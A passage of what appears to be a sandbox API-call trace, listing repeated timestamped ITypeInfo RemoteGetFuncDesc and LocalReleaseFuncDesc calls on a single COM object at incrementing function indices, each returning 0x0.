ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0xd, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.635] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.635] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0xe, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.635] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.636] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0xf, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.636] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.636] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x10, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.636] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.636] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x11, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.636] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.636] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x12, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.636] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.636] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x13, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.636] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.636] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x14, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.636] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.637] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x15, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.637] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.637] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x16, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.637] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.637] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x17, ppFuncDesc=0x20e968, pDummy=0x2d0 | out: ppFuncDesc=0x20e968, pDummy=0x2d0) returned 0x0 [0090.637] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.637] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x18, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.637] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.637] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x19, ppFuncDesc=0x20e968, pDummy=0x2d0 | out: ppFuncDesc=0x20e968, pDummy=0x2d0) returned 0x0 [0090.637] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.637] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x1a, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.637] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.638] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x1b, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.638] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.638] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x1c, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.638] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.638] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x1d, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.638] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.638] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x1e, ppFuncDesc=0x20e968, pDummy=0x2d0 | out: ppFuncDesc=0x20e968, pDummy=0x2d0) returned 0x0 [0090.638] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.638] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x1f, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.638] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.638] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x20, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.638] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.639] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x21, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.639] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.639] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x22, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.644] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.644] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x23, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.644] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.644] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x24, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.644] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.644] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x25, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.644] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.644] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x26, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.645] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.645] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x27, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.645] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.645] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x28, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.645] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.645] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x29, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.645] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.645] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x2a, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.645] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.645] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x2b, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.645] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.645] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x2c, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.646] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.646] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x2d, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.646] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.646] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x2e, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.646] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.646] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x2f, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.646] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.646] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x30, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.646] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.646] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x31, ppFuncDesc=0x20e968, pDummy=0x2d0 | out: ppFuncDesc=0x20e968, pDummy=0x2d0) returned 0x0 [0090.646] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.646] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x32, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.647] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.647] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x33, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.647] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.647] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x34, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.647] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.647] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x35, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.647] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.647] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x36, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.647] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.647] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x37, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.647] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.647] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x38, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.648] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.648] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x39, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.648] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.648] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x3a, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.648] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.648] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x3b, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.648] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.648] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x3c, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.648] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.648] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x3d, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.648] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.648] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x3e, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.649] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.649] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x3f, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.649] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.649] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x40, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.649] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.649] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x41, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.649] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.649] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x42, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.650] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.650] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x43, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.650] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.650] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x44, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.650] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.650] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x45, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.650] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.650] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x46, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.650] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.650] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x47, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.650] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.650] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x48, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.650] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.651] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x49, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.651] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.651] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x4a, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.651] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.651] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x4b, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.651] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.651] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x4c, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.651] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.651] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x4d, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.651] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.651] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x4e, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.651] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.652] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x4f, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.652] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.652] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x50, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.652] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.652] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x51, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.652] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.652] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x52, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.652] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.652] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x53, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.652] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.652] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x54, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.652] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.653] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x55, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.653] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.653] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x56, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.653] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.653] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x57, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.653] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.653] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x58, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.653] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.653] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x59, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.653] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.653] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x5a, ppFuncDesc=0x20e968, pDummy=0x2d0 | out: ppFuncDesc=0x20e968, pDummy=0x2d0) returned 0x0 [0090.653] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.654] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x5b, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.654] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.654] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x5c, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.654] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.654] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x5d, ppFuncDesc=0x20e968, pDummy=0x2d0 | out: ppFuncDesc=0x20e968, pDummy=0x2d0) returned 0x0 [0090.654] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.654] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x5e, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.654] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.654] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x5f, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.654] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.654] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x60, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.654] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.655] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x61, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.655] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.655] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x62, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.655] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.655] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x63, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.655] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.655] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x64, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.655] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.655] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x65, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.655] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.655] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x66, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.655] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.656] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x67, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.656] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.656] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x68, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.656] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.656] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x69, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.656] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.656] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x6a, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.656] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.656] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x6b, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.656] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.656] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x6c, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.656] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.656] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x6d, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.657] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.657] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x6e, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.657] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.657] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x6f, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.657] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.657] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x70, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 